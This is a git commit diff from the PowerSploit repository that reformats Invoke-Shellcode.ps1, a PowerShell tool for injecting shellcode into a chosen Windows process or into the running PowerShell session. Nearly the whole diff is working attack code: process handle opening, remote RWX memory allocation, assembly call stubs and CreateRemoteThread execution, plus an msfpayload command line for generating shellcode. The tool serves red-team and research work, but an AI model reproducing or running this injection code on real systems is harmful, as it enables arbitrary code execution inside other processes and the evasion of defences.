diff options
author | HarmJ0y <will@harmj0y.net> | 2016-12-14 17:50:37 -0500 |
---|---|---|
committer | HarmJ0y <will@harmj0y.net> | 2016-12-14 17:50:37 -0500 |
commit | 1980f403ee78234eae4d93b50890d02f827a099f (patch) | |
tree | 2fec2850aae270130931f92385b5e5bdb57c1b4f /CodeExecution/Invoke-Shellcode.ps1 | |
parent | 7cdaa3c2d6afbaaaf10804435e873e14698f40b9 (diff) | |
download | PowerSploit-1980f403ee78234eae4d93b50890d02f827a099f.tar.gz PowerSploit-1980f403ee78234eae4d93b50890d02f827a099f.zip |
For ./CodeExecution/ :
-PSScriptAnalyzering
-Tweaking of synopsis blocks in order to support platyPS
-Code standardization
-Generated docs
Diffstat (limited to 'CodeExecution/Invoke-Shellcode.ps1')
-rw-r--r-- | CodeExecution/Invoke-Shellcode.ps1 | 131 |
1 files changed, 68 insertions, 63 deletions
diff --git a/CodeExecution/Invoke-Shellcode.ps1 b/CodeExecution/Invoke-Shellcode.ps1 index 2879558..1e889f6 100644 --- a/CodeExecution/Invoke-Shellcode.ps1 +++ b/CodeExecution/Invoke-Shellcode.ps1 @@ -5,22 +5,22 @@ function Invoke-Shellcode Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.
-PowerSploit Function: Invoke-Shellcode
-Author: Matthew Graeber (@mattifestation)
-License: BSD 3-Clause
-Required Dependencies: None
-Optional Dependencies: None
-
+PowerSploit Function: Invoke-Shellcode
+Author: Matthew Graeber (@mattifestation)
+License: BSD 3-Clause
+Required Dependencies: None
+Optional Dependencies: None
+
.DESCRIPTION
Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
-msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
+msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary.
-
+
.PARAMETER ProcessID
Process ID of the process you want to inject shellcode into.
@@ -35,7 +35,7 @@ Injects shellcode without prompting for confirmation. By default, Invoke-Shellco .EXAMPLE
-C:\PS> Invoke-Shellcode -ProcessId 4274
+Invoke-Shellcode -ProcessId 4274
Description
-----------
@@ -43,7 +43,7 @@ Inject shellcode into process ID 4274. .EXAMPLE
-C:\PS> Invoke-Shellcode
+Invoke-Shellcode
Description
-----------
@@ -51,27 +51,32 @@ Inject shellcode into the running instance of PowerShell. .EXAMPLE
-C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
-
+Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
+
Description
-----------
Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
#>
-[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
- [ValidateNotNullOrEmpty()]
- [UInt16]
- $ProcessID,
-
- [Parameter( ParameterSetName = 'RunLocal' )]
- [ValidateNotNullOrEmpty()]
- [Byte[]]
- $Shellcode,
-
- [Switch]
- $Force = $False
-)
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
+ [CmdletBinding( DefaultParameterSetName = 'RunLocal', ConfirmImpact = 'High')]
+ Param (
+ [ValidateNotNullOrEmpty()]
+ [UInt16]
+ $ProcessID,
+
+ [Parameter( ParameterSetName = 'RunLocal' )]
+ [ValidateNotNullOrEmpty()]
+ [Byte[]]
+ $Shellcode,
+
+ [Switch]
+ $Force = $False
+ )
Set-StrictMode -Version 2.0
@@ -81,17 +86,17 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit # This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
}
-
+
function Local:Get-DelegateType
{
Param
(
[OutputType([Type])]
-
+
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
-
+
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
@@ -106,7 +111,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
-
+
Write-Output $TypeBuilder.CreateType()
}
@@ -115,11 +120,11 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit Param
(
[OutputType([IntPtr])]
-
+
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
-
+
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
@@ -136,7 +141,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
-
+
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
@@ -151,12 +156,12 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit $LittleEndianByteArray = New-Object Byte[](0)
$Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
[System.Array]::Reverse($LittleEndianByteArray)
-
+
Write-Output $LittleEndianByteArray
}
-
+
$CallStub = New-Object Byte[](0)
-
+
if ($IntSizePtr -eq 8)
{
[Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode
@@ -177,7 +182,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
$CallStub += 0xFF,0xD0 # CALL EAX
}
-
+
Write-Output $CallStub
}
@@ -185,7 +190,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit {
# Open a handle to the process you want to inject into
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
-
+
if (!$hProcess)
{
Throw "Unable to open a process handle for PID: $ProcessID"
@@ -197,7 +202,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit {
# Determine if the process specified is 32 or 64 bit
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
-
+
if ((!$IsWow64) -and $PowerShell32bit)
{
Throw 'Shellcode injection targeting a 64-bit process from 32-bit PowerShell is not supported. Use the 64-bit version of Powershell if you want this to work.'
@@ -208,7 +213,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit {
Throw 'No shellcode was placed in the $Shellcode32 variable!'
}
-
+
$Shellcode = $Shellcode32
Write-Verbose 'Injecting into a Wow64 process.'
Write-Verbose 'Using 32-bit shellcode.'
@@ -219,7 +224,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit {
Throw 'No shellcode was placed in the $Shellcode64 variable!'
}
-
+
$Shellcode = $Shellcode64
Write-Verbose 'Using 64-bit shellcode.'
}
@@ -230,19 +235,19 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit {
Throw 'No shellcode was placed in the $Shellcode32 variable!'
}
-
+
$Shellcode = $Shellcode32
Write-Verbose 'Using 32-bit shellcode.'
}
# Reserve and commit enough memory in remote process to hold the shellcode
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
-
+
if (!$RemoteMemAddr)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
-
+
Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
# Copy shellcode into the previously allocated memory
@@ -255,25 +260,25 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit {
# Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
-
+
Write-Verbose 'Emitting 32-bit assembly call stub.'
}
else
{
# Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
-
+
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
# Allocate inline assembly stub
$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
-
+
if (!$RemoteStubAddr)
{
Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
}
-
+
Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"
# Write 32-bit assembly stub to remote process memory space
@@ -281,7 +286,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit # Execute shellcode as a remote thread
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
-
+
if (!$ThreadHandle)
{
Throw "Unable to launch remote thread in PID: $ProcessID"
@@ -301,7 +306,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit Throw 'No shellcode was placed in the $Shellcode32 variable!'
return
}
-
+
$Shellcode = $Shellcode32
Write-Verbose 'Using 32-bit shellcode.'
}
@@ -312,36 +317,36 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit Throw 'No shellcode was placed in the $Shellcode64 variable!'
return
}
-
+
$Shellcode = $Shellcode64
Write-Verbose 'Using 64-bit shellcode.'
}
-
+
# Allocate RWX memory for the shellcode
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$BaseAddress)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
-
+
Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
# Copy shellcode to RWX buffer
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
-
+
# Get address of ExitThread function
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
-
+
if ($PowerShell32bit)
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
-
+
Write-Verbose 'Emitting 32-bit assembly call stub.'
}
else
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
-
+
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
@@ -351,7 +356,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit {
Throw "Unable to allocate thread call stub."
}
-
+
Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
# Copy call stub to RWX buffer
@@ -366,7 +371,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit # Wait for shellcode thread to terminate
$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
-
+
$VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
$VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
@@ -477,9 +482,9 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
-
+
Write-Verbose "Injecting shellcode into PID: $ProcessId"
-
+
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
{
@@ -501,13 +506,13 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
-
+
Write-Verbose "Injecting shellcode into PowerShell"
-
+
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
"Injecting shellcode into the running PowerShell process!" ) )
{
Inject-LocalShellcode
}
- }
+ }
}
|